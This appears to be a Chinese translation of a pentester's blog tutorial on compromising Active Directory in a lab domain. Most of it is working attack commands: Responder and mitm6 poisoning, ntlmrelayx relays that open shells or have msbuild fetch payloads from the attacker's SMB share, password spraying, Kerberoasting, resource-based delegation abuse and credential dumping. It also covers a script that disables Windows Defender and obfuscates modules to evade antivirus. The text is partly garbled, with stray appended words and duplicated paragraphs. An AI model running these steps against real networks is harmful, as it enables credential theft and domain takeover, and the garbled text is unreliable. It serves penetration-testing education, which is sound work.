Active Directory滲透測試典型案例

0x01 前言

我有幾個客戶在滲透測試以前來找我,說他們的系統安全作得很是好,由於他們的漏洞掃描顯示沒有嚴重的漏洞而且已準備好進行安全測試,這使我在15分鐘內利用AD中的錯誤配置得到了域管理員權限。html

我在滲透測試領域看到的一個教育缺陷是當前涉及滲透Active Directory(AD)方面缺少知識。不幸的是,OSCP並無覆蓋AD測試,甚至連sans-gpen課程也不多涉及它。本文的目標是幫助展現我過去在對AD的安全測試中使用的一些技術,工具和方法。這毫不是一遍關於每種方法或工具的綜合性手冊。在本系列中,我將使用kali linux 2019,並經過虛擬機在本身的虛擬域上操做。python

讓咱們首先說明目標:滲透測試的目標是識別攻擊者爲破壞網絡而使用的任何可能的攻擊向量。它不是爲了得到域管理員權限。linux

如今咱們有了一個目標,咱們遵循了幾個步驟來實現它。下面是關於測試環節的(粗略)圖示指南。ios

概要:一個客戶機僱傭您在他們的網絡上進行滲透測試,該網絡使用Active Directory。沒有提供任何有關的信息,也沒有任何登陸憑據,也沒有攻擊範圍,也沒有進入客戶公司前門的憑證,可是你能夠設法從後門尾隨進入,找到一個有IP電話的隱蔽房間。拔下IP電話的插頭,插入筆記本電腦,發現本身在客服公司同一局域網內。下一步是什麼?得到權限立足點。git

0x02  第一階段:得到權限立足點

因爲沒有信任證書,咱們能夠進行的偵察數量有限,並且幾乎在整個週期的每一步都會進行偵察,可是咱們能夠當即採起一些措施來立足於網絡。首先,由於咱們有網絡訪問權限,因此只需經過ifconfig或ipconfig檢查咱們所在的子網。得到IP後,在nmap中執行ping掃描以查看是否能夠訪問其餘設備。github

nmap -sn 192.168.1.1/24

若是顯示ping返回,那麼該網絡設備可網絡連通。若是什麼都沒有獲得,多是ICMP被禁用,那麼網絡上沒有其餘設備,或者因爲您沒有通過身份驗證,您沒法與其餘設備通訊,而且可能被身份安全解決方案(如Cisco ISE)阻止。爲了本文的目的,假設咱們已經和一些設備網絡連通,而且可以成功地對它們執行ping操做。web

1.Responder

接下來,咱們將使用一個名爲Responder的工具或者若是你偏心Windows,那麼Inveigh。這兩個工具的做用是檢查AD中很是常見的錯誤配置,從而致使WPAD和NBT-NS中毒的能力。默認狀況下,Windows配置爲在使用Internet時搜索Web代理自動發現文件。這在組織中頗有用,由於設備將發送廣播請求代理文件並接收代理文件。可是,它天然不會驗證發送代理文件的人員,容許攻擊者發送欺騙性答案而後請求憑據。shell

接下來,咱們將使用一個名爲Responder的工具,或者若是您偏心Windows和Inveigh。這兩個工具的做用是檢查AD中常見的錯誤配置,從而致使WPAD和NBT-NS投毒。狀況下,Windows配置爲在使用Internet時搜索Web代理自動發現文件。這在企業組織中頗有用,由於設備將發送廣播請求代理文件並接收代理文件。可是,它天然不會對發送代理文件的人進行身份驗證,從而容許攻擊者發送一個欺騙的答案,而後請求憑據。數據庫

在Kali中,默認安裝 responderjson

responder -I eth0 --wpad
在個人Windows 7計算機上,我打開Internet Explorer並轉到Google,而後啓動對WPAD文件的搜索。在Responder中,我看到請求經過,而後Responder自動用挑戰回覆請求,這致使受害者發送他們的用戶名和哈希密碼(以NTLMv2格式)

有了這個哈希表,咱們能夠作一些事情。咱們能夠嘗試破解它,或者使用ntlmrelay.py之類的工具進行中繼。我在該文章中闡述瞭如何轉發NTLM哈希,因此我將繼續闡述如何破解它,由於這一般是我在計劃時所作的。

說實話,我不多在linux/kali上破解密碼。我使用的是一個nvidia GPU顯卡,它歷來沒有在Kali上被正確安裝過,並且Windows上有hashcatgui,這使得它更簡單容易並將使用它。我把收集到的哈希值存儲到一個名爲「hash.txt」的文件中,並對其運行一些簡單規則和輸入輸出設置,但在本文中,我只是使用了字典rockyou.txt並運行它,它在一秒內就成功破解了哈希值。

我對HashcatGUI的設置

如今咱們成功破解了密碼,咱們有登陸憑據Alice:Password!

在繼續以前,我想展現一些其餘的方法,以防 Responder 程序不起做用。

2.mitm6

假設客戶端的網絡正在使用合法的WPAD PAC文件,而且您的欺騙沒法正常運行。還有另外一種技術利用IPv6和DNS將憑證中繼到目標。默認狀況下,IPv6已啓用且實際上優先 於IPv4,這意味着若是計算機有IPv6 DNS服務器,則它將使用IPv4。此外此外,默認狀況下,Windows計算機經過DHCPv6請求查找IPv6 DNS服務器,若是咱們使用假的IPv6 DNS服務器進行欺騙,咱們能夠有效地控制設備查詢DNS的方式。更多內容能夠在這裏閱讀。

首先,下載mitm6

git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .

而後針對目標網絡工做組運行它。由於咱們之前作過一次ping掃描,因此也獲取到了netbios名稱,顯示目標域是lab.local

如下是我運行mitm6以前目標上的IP設置。

                                                        注意DNS服務器

而後運行mitm6

mitm6 -d lab.local

如今目標上的DNS服務器已經被更改

                                                                注意IPv6地址做爲DNS服務器

如今真正的漏洞是Windows下IPV6比IPV4的攻擊更好,這意味着如今已控制DNS。

因此如今利用這樣一個事實:咱們經過Ntlmrelayx.py再次欺騙WPAD響應來控制DNS。在這裏,我寫了一篇關於如何設置它的指南。

在一個窗口中運行mitm6時,同時打開另外一個窗口並運行ntlmrelayx.py

ntlmrelayx.py  -wh 192.168.218.129  -t  smb://192.168.218.128/  -i
-wh: 託管WPAD文件的服務器(攻擊者的IP)

-t: 目標(您沒法將憑據中繼到您正在欺騙的同一設備中)

-i:打開一個交互式shell

從這裏咱們能夠經過netcat鏈接到shell,就好像咱們有一個徹底交互的SMB shell,或者咱們能夠經過-c(命令)發送一個Empire stager。實際上,你的選擇僅限於ntlmrelayx.py所能作的。在這種狀況下,我使用-c命令來執行silenttrinity有效payload。我在這裏寫了關於如何使用SILENTTRINITY的文章。

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

可是,在本例中,msbuild.exe在這種狀況下不構建XML文件,並且我也沒有返回silenttrinity的鏈接,由於這太容易了。相反,我查看個人SMB服務器並查看中繼哈希

而後反而我成功地破解了它

如今,咱們成功地在不使用Responder的狀況下擁有網絡憑據

3.CrackMapExec

CrackMapExec本質上是一把瑞士軍刀。從密碼噴灑和哈希傳遞到命令執行,它應該在每一個滲透測試工具包中被使用

若是其餘都失敗了,咱們能夠嘗試密碼噴灑。這個方法之因此是最後一個,是由於密碼被鎖定。密碼鎖定並不像您想象的那樣常見,這容許攻擊者對用戶名使用字典進行攻擊。獲取用戶名是第一步,能夠經過OSInt和使用信息收集器來完成。若是咱們沒有來自osint的用戶名,咱們也能夠給crackmapexec(cme)一個用戶名字典表,可是爲了時間的緣故,咱們假設有用戶名rsmith。

若是您使用的是Kali的較新版本,則默認已安裝了CrackMapExec,但若是不是,則能夠安裝它

apt-get install crackmapexec

因爲咱們在掃描中識別出網絡上的設備,所以咱們能夠向CME提供與用戶名配對的密碼字典並嘗試登陸。

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~ / Documents / wordlists / fasttrack.txt --shares

幾秒鐘後,就會獲取到密碼。

這可能看起來是CTF-Y,但season:year 是一個很是流行的密碼組合。

有了這些找到的憑據,咱們如今擁有了一個常規的用戶賬戶,並將下文中繼續提高權限

在上文中,我以三種不一樣的方式得到了域的憑據。在本文的大部份內容中,我將使用rsmith用戶憑據,由於它們權限是低級別的,這將使咱們進行權限提高

固然,Windows中的權限提高能夠來自缺乏的補丁或不帶引號的服務路徑系統,但因爲這是對AD的測試,咱們將利用一些AD內容來提高權限。

有了網絡憑據,咱們如今應該先進行一些信息收集,而後再直接查看未打的補丁漏洞。有一些工具和技術會對咱們有所幫助。

0x03 第二階段:特權提高和信息收集

1.Bloodhound

我最喜歡的工具之一是Bloodhound。以圖形化方式顯示,所以Bloodhound是一個很好的工具,由於它能夠從字面上映射出圖形中的域,揭示了有關聯和無關聯的關係。從攻擊者的角度來看,這頗有趣,由於它向咱們展現了目標。

我寫了一整篇關於Bloodhound的文章,能夠在這裏閱讀到,但我會展現一個tl; dr版本

假設您沒有在計算機上得到一個會話,但您擁有憑據。您仍然可使用Bloodhound的Python並遠程收集數據。能夠經過git進行安裝

git clone https://github.com/fox-it/BloodHound.py.git 
cd BloodHound.py/&&pip install

而後能夠經過傳遞憑據,域和DC IP來運行

bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

一旦BH完成了任務,它將以.json格式將數據存儲在運行它的目錄中。複製這些文件,而後將它們拖到Bloodhound中,如今您就有了一個漂亮的網絡圖。若是按「域管理的最短路徑」排序,您將獲得相似於下面的內容。

                                                                                                                                     AdminAlice已登陸DC

這樣作的好處是,您能夠直接查看管理員登陸到哪些計算機,從而爲您提供下一個目標。在一個擁有數百甚至數千臺接受低權限憑據的計算機的域中,您不但願僅僅經過收集其餘低權限憑據來浪費時間。這給出了一個目標列表,以及許多其餘內容。其餘用途包括識別可能具備包含憑證的數據庫的SQL服務器,識別哪些機器能夠鏈接RDP等等。我鼓勵您在此深刻瞭解它的深刻功能。我還鼓勵你看看GoFetc,它自動利用Bloodhound繪製的攻擊計劃。

2.Kerberoasting | GetUserSPNs.py

經過標識目標列表和域控制器,一種權限提高的方式是Kerberoasting。由於在AD中向服務賬戶頒發了服務主體名稱(SPN),因此能夠進行kerberoasting。而後,任何用戶均可以從具備該賬戶哈希密碼(採用kerberos 5 tgs-rep格式)的SPN請求kerberos票證。有許多不一樣的工具能夠進行Kerberoasting,但實際上你只須要一個工具。

GetUserSPNs.py很是簡單 - 它在目標域中查詢在用戶賬戶下運行的SPN。使用它很是簡單。

如今咱們有一個服務賬戶的哈希值。我將它加載到hashcat(固然是GUI)中並選擇hash類型13100,以下所示

它會在幾秒鐘內成功爆破

咱們如今擁有服務賬戶的憑據,這一般會對域控制器的進行成功訪問。太容易了?讓咱們試試其餘方法。

3.ASEPRoasting | Rubeus

ASEPRoasting相似於Kerberosting,從這個意義上說,咱們查詢賬戶的TGT,獲取哈希,而後破解它,可是在Aseproasting的狀況下有一個很是大的警告:必須禁用Kerberos預身份驗證,這不是默認設置。當您經過Kerberos AS-REQ消息請求TGT時,您還提供使用您的用戶名和密碼加密的時間戳。而後,密鑰分發中心(KDC)解密時間戳,驗證來自該用戶的請求,而後繼續進行身份驗證過程。這是kerberos的預身份驗證過程,這顯然是攻擊者的問題,由於咱們不是kdc,沒法解密該消息。固然,這是設計用於防止攻擊,可是若是預身份驗證被關閉,咱們能夠向任何用戶發送一個as-req,它將返回哈希密碼。因爲默認狀況下啓用了預身份驗證,所以必須手動關閉它,所以這種狀況不多見,但仍然值得一提。

tsmith容易受到 ASREPRoasting影響,由於選中了「不須要Kerberos預身份驗證

爲了利用這一點,咱們將使用一個名爲Rubeus的工具。Rubeus是一個濫用Kerberos的大型工具集,可是爲了進行ASREPRoasting,咱們關心這一部分。要使用Rubeus,首先須要安裝Visual Studio。安裝完成後,下載Rubeus並使用Visual Studio打開Rubeus.sln文件。

默認狀況下,它將安裝在rubes\bin\debug\file中。cd進入該目錄,而後運行它:

 .\Rubeus.exe asreproast

若是沒有用戶選中「不須要Kerberos預身份驗證」,那麼就不會有任何用戶進行驗證。但若是有…

而後咱們能夠爲用戶獲取哈希並破解它。

請記住,示例是在已加入域的計算機上完成的,所以,若是您是從不在域上的計算機上執行此操做,則必須鏈接域控制器,域名,OU等

4.SILENTTRINITY

SILENTTRINITY是由@ byt3bl33d3r開發的一種新的命令和控制(C2)工具,它使用IronPython和C#。您能夠選擇使用MSBuild.exe,這是一個Windows二進制文件,它構建C#代碼(默認狀況下也安裝在Windows 10中,做爲.NET的一部分),以XML格式運行命令和控制(C2)有效載荷,容許而後攻擊者使用底層.NET框架經過IronPython,C#和其餘語言在受害者的主機上進行操做。

就我的而言,SILENTTRINITY已經取代了我工具箱中的Empire,我在這裏寫了一篇關於如何使用帝國的指南。還有一些地方我更喜歡Empire鏈接,但ST也處於'alpha'狀態,因此該功能也會在其ST中體現。在我看來,ST取代Empire有三個主要緣由。

  1. Empire的有效載荷如今被Windows Defender捕獲,即便是在混淆的狀況下(有不少方法能夠解決,但仍然如此。)
  2.   ST在命令下執行
  3. 使用–at exec參數在CME上執行有效負載時,能夠將權限升級到SYSTEM權限

如下是使用非域管理員用戶憑據的全新Windows 10安裝中的POC

                         賬戶「tsmith」僅在用戶的組中


                                                                                                             使用tsmith的憑據執行代碼 

我在SILENTTRINITY中生成XML payload,而後經過smbserver.py將其託管在個人SMB服務器上。若是你對怎麼作感到困惑,請按照個人指南進行操做。而後,我使用CME執行將在攻擊者機器上獲取XML文件的命令。

我在silenttrinity中生成XML有效負載,而後經過smb server.py將其託管在個人smb服務器上。若是你對怎麼作感到困惑,請按照個人指導來作。而後,我使用CME執行將在攻擊者機器上獲取XML文件的命令。

crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe  \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec

                         CME執行所提供的命令,該命令運行msbuild.exe並告訴它託管在個人SMB服務器上的XML文件

 我如今在ST中得到了一個會話

列出會話的信息會顯示個人用戶名是system,這意味着我從用戶tsmith提高到了system,這是由於msbuild.exe使用–exec method atexec選項運行,該選項使用具備系統權限(或儘量高的權限)的任務計劃程序來運行命令

固然,咱們而後轉儲憑據,如今有一個管理員密碼哈希,咱們能夠傳遞或破解它。

4.PrivExchange

PrivExchange是一種新技術(在過去一個月內),它利用了默認狀況下Exchange服務器過分使用的事實。這是Dirkjann在一個多月前發現的,如今是快速提高特權的一種很好的方法。

它的工做原理是查詢Exchange服務器,獲取包含Exchange服務器憑據的響應,而後經過ntlmrelayx將響應中的憑據中繼到域控制器,而後修改用戶的權限,以便他們能夠在域控制器上轉儲哈希值。

設置它有點麻煩。Exchange 2013是使用Windows 2012 R2服務器上的默認方法安裝的,我對PrivExchange python腳本進行了此修改,以使其在沒有有效SSL證書的狀況下工做。在那以後,它運行一切順利。

首先,啓動ntlmrelayx.py並將其指向DC,經過LDAP進行身份驗證並提高用戶的權限。

ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith

而後,經過傳入攻擊者IP(-ah),目標和用戶/密碼/域來運行privexchange.py

python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201

                                                                                             Privexchange.py對echange進行API調用   

                                                             ntlmrelayx將Exchange服務器的憑據中繼到主DC,而後提高rsmith的權限   

                 

                                                                                  使用rsmith的特權在DC上轉儲哈希值

經過對全部用戶使用哈希,如今能夠破解它們了。

注意:若是你運行mimikatz,它會被AV捕獲,secretsdump.py是一個很好的選擇,由於它不會將任何東西存儲到磁盤上。

5.Kerberos無約束委派

一樣來自Dirk-jan,是一種利用默認AD安裝的攻擊。具體而言,默認狀況下,計算機能夠更改與其權限相關的某些屬性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此屬性控制用戶是否能夠經過Kerberos模擬登陸(幾乎)域中的任何計算機。經過中繼憑證能夠實現這一切。我在第一部分中演示了mitm6,因此我將在這裏再次使用它,可是以不一樣的方式傳遞響應。

一樣來自Dirk-jan,,它是一種利用默認AD安裝的攻擊。具體而言,默認狀況下,計算機能夠更改與其權限相關的一些屬性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此屬性控制用戶是否能夠經過Kerberos模擬登陸(幾乎)域中的任何計算機。經過中繼憑證能夠實現這一切。我已經在上文中演示了mitm6的使用方法,因此我將在這裏再次使用它,可是以不一樣的方式傳遞響應。

mitm6 -i ens33 -d lab.local

而後我在提供WPAD文件時並經過LDAPS將憑據中繼到主DC,同時選擇委派訪問攻擊方法。

ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access

受害者打開IE,它經過IPv6發出WPAD請求,攻擊者(我)響應並經過LDAPS將這些憑據轉發給DC。建立一臺新計算機並修改委派權限,以便新的「計算機」能夠經過msDS-AllowedToActOnBehalfOfOtherIdentity屬性模擬LABWIN10(受害者)上的任何用戶。因此我如今生成一張白銀票據,並冒充用戶'管理員'

getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator

而後我經過secretsdump.py使用我獲取到的白銀票據登陸到LABWIN10並轉儲憑據

要了解更多關於白銀票據攻擊及其工做原理,這是一篇很好的文章

6.基於資源的約束委派

是的,因爲msDS-AllowedToActOnBehalfOfOtherIdentity屬性致使更多攻擊。@ harmj0y幾個星期前在此發了一篇文章。基本上,若是您可以在AD中更改計算機對象,你就能夠接管該計算機權限。惟一的問題是須要有一個2012+域控制器,由於舊版本不支持基於資源的約束委派(RBCD)。在這篇文章中,EladShamir分解了整個攻擊,包括更多關於RBCD的內容

有三種工具可用於此操做:

Powermad

POWERVIEW

Rubeus

而後使用rsmith的憑據在Windows 10計算機上執行此攻擊。首先,咱們將executionpolicy設置爲Bypass(繞過),以便咱們能夠導入和運行腳本。

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

而後咱們檢查是否能夠修改自由訪問控制列表(DACL

$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID} 

上述命令表示是查找「用戶」SID的權限,代表該組對該對象(DC)具備「建立-寫入」權限。

默認狀況下,這是不可利用的。這是在惡意利用管理員設置的潛在錯誤配置;在此示例中,管理員將「用戶」組添加爲DC的主體並容許GenericWrite屬性。

做爲POC,rsmith(屬於「用戶」組)沒法鏈接DC

接下來咱們要作的是建立一個新的計算機賬戶,並修改域控制器上的屬性,以容許新的計算機賬戶冒充域控制器上的任何人,這一切都要歸功於msDS-allowedToActOnBehalfOfOtherIdentity。咱們能夠建立一個新的計算機賬戶,由於默認狀況下,用戶最多能夠建立10個計算機賬戶。powermad有它的功能。

New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)

而後,咱們將新機器的SID添加到 DC上的msDS-allowedToActOnBehalfOfOtherIdentity屬性

$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

而後使用Rubeus獲取咱們建立的機器的NT密碼

.\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local 

最後,咱們在目標DC上使用Rubeus的用戶服務(S4U)進程模擬域管理員(Administrator)

.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt

經過導入票據,咱們能夠訪問域控制器。

一樣,這是利用系統管理員錯誤的並添加「用戶」組以便對DC具備通用的寫訪問權限的設置事實。儘管咱們沒法經過SMB訪問它,但咱們修改了容許咱們訪問的權。若是您仍然感到困惑,這裏有來自SpecterOps 的視頻演示。

7.MS14-025,GPP

這個不太常見,由於它已經出現了很長一段時間了,但它被說起由於它仍然存在。MS14-025也稱爲組策略首選項提高漏洞。

當域管理員經過組策略首選項推送到本地管理員賬戶時,它會將加密的憑據存儲在域控制器上的SYSVOL共享中(任何人均可以訪問SYSVOL,由於它是存儲策略的位置以及域客戶端須要的其餘內容訪問)。這一般不會成爲問題,由於它是用AES加密的,對嗎?是的,微軟公司在網上發佈瞭解密密鑰。因此如今,攻擊者能夠解碼密碼。爲了簡化這個過程,metasploit有一個輔助模塊。

8.攻查找特權賬戶CrackMapExec

好吧,這個不必定是「攻擊」,就像它是一種作好偵察和枚舉的方法同樣,一些工具能夠幫助解決這個問題。從文章的角度來看,這彷佛有點延伸,但實際上,特權賬戶很是廣泛,找到一我的賬戶而後登陸到另外一我的工做站並閱讀他們的東西並不罕見。此外,擁有該用戶應該沒有業務訪問權限的服務器的權限,這固然致使攻擊者只是在任何地方轉儲憑據並最終找到在域控制器上工做的信譽。

好吧,這一次不必定是「攻擊」,由於它是一種進行良好偵察和計數的方法,一些工具能夠幫助解決這個問題。從一篇文章的角度來看,這彷佛有點誇張,但事實上,特權帳戶是如此廣泛,以致於找到一我的的帳戶,而後登陸到另外一我的的工做站,並讀取他們的資料是很正常的。此外,擁有對該用戶不該該具備業務訪問權限的服務器的權限,這固然會致使攻擊者將憑證丟到任何地方,最終找到在域控制器上工做的憑證。

這裏的方法很是簡單:在網絡上噴塗憑據,查看您能夠登陸的內容。使用crackmapexec,您能夠列出共享並查看您具備寫入權限。

這裏的方法很簡單:在網絡上噴塗憑據,看看你能登陸什麼。使用CrackMapExec,您能夠列出這些共享並查看您有哪些寫訪問權限。

crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares

從這裏開始,使用SILENTTRINITY打開用戶具備寫入權限的會話,運行mimikatz模塊,並但願您找到具備特權的新憑據。請記住,您能夠將CME與CIDR一塊兒使用,這意味着若是您使用SILENTTRINITY做爲C2服務器並使用CME觸發鏈接,則能夠經過網絡將其噴射到最大會話。雖然它不是很是OpSec友好且很是嘈雜。考慮它是一個測試,看看他們的檢測和響應姿式是如何

在這裏,使用silenttrinity打開一個會話,討論用戶對哪些內容具備寫訪問權限,運行mimikatz模塊,並但願您找到具備特權的新憑據。記住,你可使用CIDE和CIDRS,這意味着若是你使用SeleTrtruthC2做爲C2服務器,並使用CME來觸發鏈接,你能夠經過網絡噴灑最大的會話。儘管它不太友好,噪音也不太大。把它看成一個測試,看看他們的檢測和反應姿式是怎樣的

9.PowerTools

(1).攻擊方法一:在文件中查找密碼

另外一個須要查找的是文件中的密碼。有幾回我發現用戶在他們的Documents文件夾中存儲了電子郵件,其中包含一個密碼。或者他們保存一個包含密碼的Excel/Word文件。這就是PowerSploit派上用場的地方。我從哪裏開始使用PowerSploit?若是你想作一些惡意的事情,它有一個powershell模塊。在搜索密碼或任何字符串的狀況下,PowerView是您的好助手。請記住,EDR基本上捕獲了這個套件中的每一個模塊,所以我建議在使用Invoke-Obfuscation以前對它們進行編碼。PowerView易於使用。下載PowerSploit,並在您解壓縮的目錄中打開Powershell(確保您是管理員)。

首先,容許運行腳本

Set-ExecutionPolicy Bypass

而後導入模塊

Import-Module .\PowerView.ps1

在PowerView模塊中有一個名爲Invoke-FileFinder的命令,它容許您在文件中搜索所需的任何字符串。好比字符串'password'。

                                            在C盤中搜索包含字符串'password'的任何內容   

                                                                                                                                                            找到一個密碼文件

請注意,這須要很長時間。它有助於縮小搜索區域並從該目錄運行命令

(2).攻擊方法二:Get-ExploitableSystem

這是一個很是簡要的腳本。它將向Active Directory查詢每一個計算機賬戶的主機名,操做系統版本和Service Pack版本,而後根據常見的Metasploit漏洞利用列表進行交叉引用。

首先導入整個PowerPloit套件(若是須要,只導入PowerView)

Import-Module .\PowerSploit.psd1

而後運行該命令

Get-ExploitableSystem -Verbose

                     Hurray for Windows XP!
(3).攻擊方法三:PowerUp

在PowerUp模塊中有一個名爲「Invoke-All-Checks」的函數,它徹底按照它的腳本自動執行。它會檢查全部內容,從不帶引號的服務路徑(我在這裏寫了如何利用)到尋找MS14-025。查看Github瞭解更多信息。

使用它很簡單

Invoke-AllChecks

PowerUp使用方法:

Powerup旨在成爲依賴錯誤配置的常見Windows權限提高向量的交換中心。

運行Invoke-AllChecks將輸出任何可識別的漏洞以及任何濫用功能的規範。-HTMLReport參數還將生成報告的computer.username.html版本。

做者:@ harmj0y許可證:BSD 3-Clause必需依賴項:無可選依賴項:無

服務枚舉:

Get-ServiceUnquoted                 -   返回具備名稱空間的未加引號路徑的服務
Get-ModifiableServiceFile           -  返回當前用戶能夠寫入服務二進制路徑或其配置的服務
Get-ModifiableService               -   返回當前用戶能夠修改的服務
Get-ServiceDetail                   -   返回有關指定服務的詳細信息
Invoke-ServiceAbuse                 -   修改易受攻擊的服務以建立本地管理員或執行自定義命令
Write-ServiceBinary                 -   寫出一個修補的C#服務二進制文件,它添加一個本地管理員或執行一個自定義命令
Install-ServiceBinary               -  將服務二進制文件替換爲添加本地管理員或執行自定義命令的服務二進制文件
Restore-ServiceBinary               -   用原始可執行文件還原替換的服務二進制文件
DLL劫持:
Find-ProcessDLLHijack               -   爲當前運行的進程查找潛在的dll劫持
Find-PathDLLHijack                  -  查找服務%path%dll劫持
Write-HijackDll                     -  寫出一個可劫持的DLL

註冊表檢查:

Get-RegistryAlwaysInstallElevated   -  檢查是否設置了alwaysInstallElevated註冊表項
Get-RegistryAutoLogon               -   檢查註冊表中的自動登陸憑據
Get-ModifiableRegistryAutoRun       -   在hklm autoruns中檢查任何可修改的二進制文件/腳本(或其配置)

雜項檢查:

Get-ModifiableScheduledTaskFile     -   檢查具備可修改目標文件的schtasks
Get-UnattendedInstallFile           -   檢查剩餘的無人蔘與安裝文件
Get-Webconfig                       -   檢查任何加密的web.config字符串
Get-ApplicationHost                 -   檢查加密的應用程序池和虛擬目錄密碼
Get-SiteListPassword                -   檢索找到的McAfee的sitelist.xml文件的明文密碼
Get-CachedGPPPassword               -   檢查緩存組策略首選項文件中的密碼
其餘幫助/輔助功能:
Get-ModifiablePath                  -   對輸入字符串進行標記,並返回當前用戶能夠修改的文件
Get-CurrentUserTokenGroupSid        -   返回當前用戶所屬的全部sid,不管這些sid是否被禁用
Add-ServiceDacl                     -   爲service返回的服務對象添加dacl字段
Set-ServiceBinPath                  -   經過win32 api方法將服務的二進制路徑設置爲指定值
Test-ServiceDaclPermission          -  根據給定的權限集測試一個或多個傳遞的服務或服務名稱      
Write-UserAddMSI                    -   寫出一個MSI安裝程序,提示用戶添加
Invoke-AllChecks                    -   運行全部當前權限提高檢查並返回報告
(4).攻擊方法四:GetSystem

此模塊執行與Metasploit'GetSystem'的功能相同。要了解更多關於具體內容的信息,請閱讀閱讀CobaltStrike這篇優秀文章。

不然,只需運行該命令便可

Get-System -Technique Token

或者

Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 

                                      這是LAB\administrator
                                              這是LAB\system

10.ADAPE

就我我的而言,我寫了一個名爲adape的腳本——Active Directory評估和權限提高腳本

ADAPE是用PowerShell編寫的,它使用幾個不一樣的其餘工具的函數,並自動運行它們,從而防止須要經過多個工具進行端口鏈接。它也被混淆加密並關閉Windows Defender以幫助咱們繞過EDR。

ADAPE易於使用。下載它,將其複製到目標Windows機器上,而後運行它

PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 

因爲包含了全部必需的腳本,所以不須要訪問到Internet,而是將結果存儲在可導出的capture.zip文件中。

 

錯誤消息是正常的,除非它被中斷。而後給出錯誤報告。
尋找GPP密碼,Kerberoasting和運行Bloodhound
                               檢查privesc,而後刪除它建立的文件並壓縮捕獲文件

若是打開捕獲文件,您將得到全部結果

一樣,不管如何,這並不全面。這只是我多年來成功使用的一些工具和攻擊,因此至少有一種是可行的。在第三部分中,我將討論後期利用和權限持久性。

Active Directory評估和權限提高腳本使用方法:

首先我要說的是,我徹底不相信這個腳本中使用的模塊。很是感謝Tim Medin,Kevin Robertson,Marcello Salvati,Will Schroeder以及Spectre Ops團隊的其餘成員提供本腳本中使用的模塊。最後,感謝Daniel Bohannon編寫的Invoke-Obfuscation,它用於混淆此腳本中的全部模塊。我只是將它們組合在一塊兒的那我的。

在個人參與和評估中,我常常運行一些PowerShell腳原本幫助識別下一個目標,檢查錯誤的組策略設置,AD錯誤配置,缺乏補丁等。此腳本結合了我常用的腳本並自動運行我在這些腳本中使用的功能,將結果輸出到zip文件中。

該腳本將執行如下操做:

•經過WPAD,LLMNR和NBT-NS欺騙收集哈希值

•檢查GPP密碼(MS14-025)

•經過Kerberoast爲賬戶收集哈希值

•繪製域並經過BloodHound識別目標

•檢查權限提高方法

•在網絡上搜索開放的SMB共享

•在這些共享和其餘可訪問目錄中搜索敏感文件和字符串(密碼、PII或您真正想要的任何內容)。默認狀況下,它在尋找「密碼」的關鍵字。例如,若是您想搜索CVV關鍵字,只需將其添加到「password(密碼)」旁邊,例如password(密碼),cvv

•檢查網絡上的系統補丁

•搜索附屬股份

•搜索文件服務器

•收集域策略

這個腳本徹底能夠獨立運行,而根本不使用互聯網。所需的全部腳本都是混淆的PowerShell幷包含在內,所以它應該繞過大多數基本的AV防護解決方案。默認狀況下,它將關閉Windows Defender。若是opsec讓您擔憂(例如目標在Defender關閉時配置了警報),那麼你能夠在第34行的「Set-MpPreference -DisableRealtimeMonitoring $ true」以前加上'#'進行註釋它。

它使用如下模塊:

Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Scripts/Inveigh.ps1

Kerberoast - https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Bloodhound - https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

Get-GPPP - https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Get-GPPPassword.ps1

PowerUp - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

該腳本將要求以管理員身份運行,,由於它須要這樣作。若是您沒有管理員權限,它將只運行權限提高模塊。若是您被UAC阻止,我建議您運行繞過UAC腳本

https://raw.githubusercontent.com/samratashok/nishang/master/Escalation/Invoke-PsUACme.ps1

運行.ps1以後,它將在正在運行的同一文件夾中建立捕獲文件並將其壓縮。在腳本結束時,它會刪除它建立的全部文件夾(顯然除了.zip文件外)。

